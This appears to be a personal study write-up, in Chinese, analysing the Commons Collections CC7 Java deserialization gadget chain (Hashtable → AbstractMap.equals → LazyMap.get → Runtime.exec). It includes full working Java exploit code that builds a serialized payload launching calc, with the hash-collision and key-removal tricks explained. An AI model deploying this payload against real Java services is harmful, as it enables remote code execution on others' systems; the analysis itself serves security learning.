环境

CommonsCollections 3.1 - 3.2.1,jdk好像是没有限制的

链子分析

这里其实后半部分和CC1也是一样只不过入口点变了,这里为Hashtable这个类,找样是把他和LazyMap连起来,但是这里不直接去find usages了,因为get调用实在太多了,所以直接看,最后是找到了AbstractMap类,它的equals()方法调用了get()方法
image-20230709134923730
那么下一步就是找谁调用了equals()方法,从这里开始会遇到前面几条链没有过的调用方式就是调用子类没有的方法那么就会去到父类调用这个方法,所以在这里HashMap这个类继承了AbstractMap
image-20230709135028795
HashMap类没有equals()方法那么调用HashMapequals()方法就会调到AbstractMap类的equals()方法所以接下来就去寻找调用了key.equals我们控制key的类型为HashMap就行了,最终是在HashTable类的reconstitutionPut()方法调用了key.equals
image-20230709135043925
其实这里equals的调用还是挺绕的,一开始是传LazyMap对象到AbstractMap类去调用equals就相当于LazyMap调用equals但是LazyMap没有equals所以就去LazyMap的父类AbstractMapDecorator找虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

1
2
3
4
5
6
7
public boolean equals(Object object) { 
//判断当前对象与传入对象是否为同一个对象
if (object == this) {
return true;
}
return map.equals(object);
}

AbstractMapDecorator类的equals方法只比较了这两个key的引用,如果不是同一对象会再次调用equals方法,map是通过LazyMap传过来的相当于是LazyMap的对象,我们在构造利用链的时候,通过LazyMap的静态方法decorateHashMap传给了map属性,因此这里会调用HashMapequals方法。所以又去AbstractMapDecorator父类即AbstractMap类找最终找到调用了equals然后再AbstractMap类去调用LazyMap调用get,这里想了半天AbstractMapDecorator类怎么和HashMap扯上关系的
现在就是找谁调用了reconstitutionPut()方法,最终在同一个类即HashTable类的readObject()方法调用了reconstitutionPut()方法
image-20230709135106646
那么到这里链子就分析完了
image-20230709135114488

EXP调试

这里先把CC1的后半段拿过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Dome {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

}
}

然后是和AbstractMap类连起来但是这个类是不可以序列化的,所以这里不太好写这一部分的exp就直接往后吧,下一步就是和入口类的reconstitutionPut方法结合起来

1
2
3
4
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {  
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}

这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key),这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的。那么这里在入口类传入恶意key然后调用key.equals就可行,像下面这样
image-20230709135145421
但结果是没反应,说明这样不行debug发现根本不会进入equals方法,去看看yso官方链子
image-20230709135138136
这里用了两个map并且使用了两次put,下面就分析一下为什么要这样做,这里可以详细了解一下reconstitutionPut方法,参考博客这里就不重复写了

  • 为什么要调用两次put
    因为我们需要进入到reconstitutionPut()方法里面的for循环去调用e.key.equal()但是发现
    第一次调用的时候直接跳出了for循环因为这个时候tab[index]为空,然后在后面才给tab[index]赋值,所以这里需要调用两次来确保进入for循环
    image-20230709135205523
    然后这里还有个e.hash == hash判断,在判断重复元素的时候校验了两个元素的hash值是否一样,为真后才会执行到e.key.equal(),而这个取出来判断的其实就是lazyMap1对象的hash值它要等于 现在的对象也就是 lazyMap2 的hash值,这个hash值是在lazyMap对象中的 key.hashCode() 得到的,而在这里我们put到lazyMap1的值yy然后去计算 "yy".hashCode() ,lazyMap2 的为zZ就再"zZ".hashCode()这样经计算他们的hash值是一样的,当然这里可以用其它字母组合不一定是这两个,参考清风师傅的博客里面详细解释了这里的计算原理
    然后这里还有个问题,就是在HashTable.put() 之后需要在map2remove() 掉 yy因为 HashTable.put() 也会调用到 equals() 方法,当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键,序列化的时候没问题如下
    image-20230709135354102
    但是反序列化m.size()就会变为2但是原本的size还是1
    image-20230709135419679
    然后就直接false了不会进入到get方法那么也就不会命令执行了,所以我们在进入for循环后就需要移除yy,最后避免本地序列化会弹计算器的干扰在序列化的过程修改为常数,因为Hashtable#put 中也会调用到 AbstractMap#equals 从而触发 LazyMap#get,然后反序列化的时候通过反射修改回来就行
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;

    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.AbstractMap;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.util.Map;

    public class CC7Dome {
    public static void main(String[] args) throws Exception{
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
    HashMap<Object, Object> hashMap1 = new HashMap<>();
    HashMap<Object, Object> hashMap2 = new HashMap<>();
    Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
    decorateMap1.put("yy", 1);
    Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
    decorateMap2.put("zZ", 1);
    Hashtable hashtable = new Hashtable();
    hashtable.put(decorateMap1, 1);
    hashtable.put(decorateMap2, 1);
    Class c = ChainedTransformer.class;
    Field field = c.getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(chainedTransformer, transformers);
    decorateMap2.remove("yy");

    // serialize(hashtable);
    unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
    }



    }
    image-20230709135450394

流程图

这条链子跟的比较难受,中途我idea调试的时候出现了玄学问题,不管怎么我怎么弄Hashtable这个类,弄了半天没弄好中间有事儿去了没弄了,等我第二天来调发现突然又好了但是此时思路没有一开始那么清晰了,我也懒得再重新分析了以后刷题的时候再弄一下
image-20230709135500947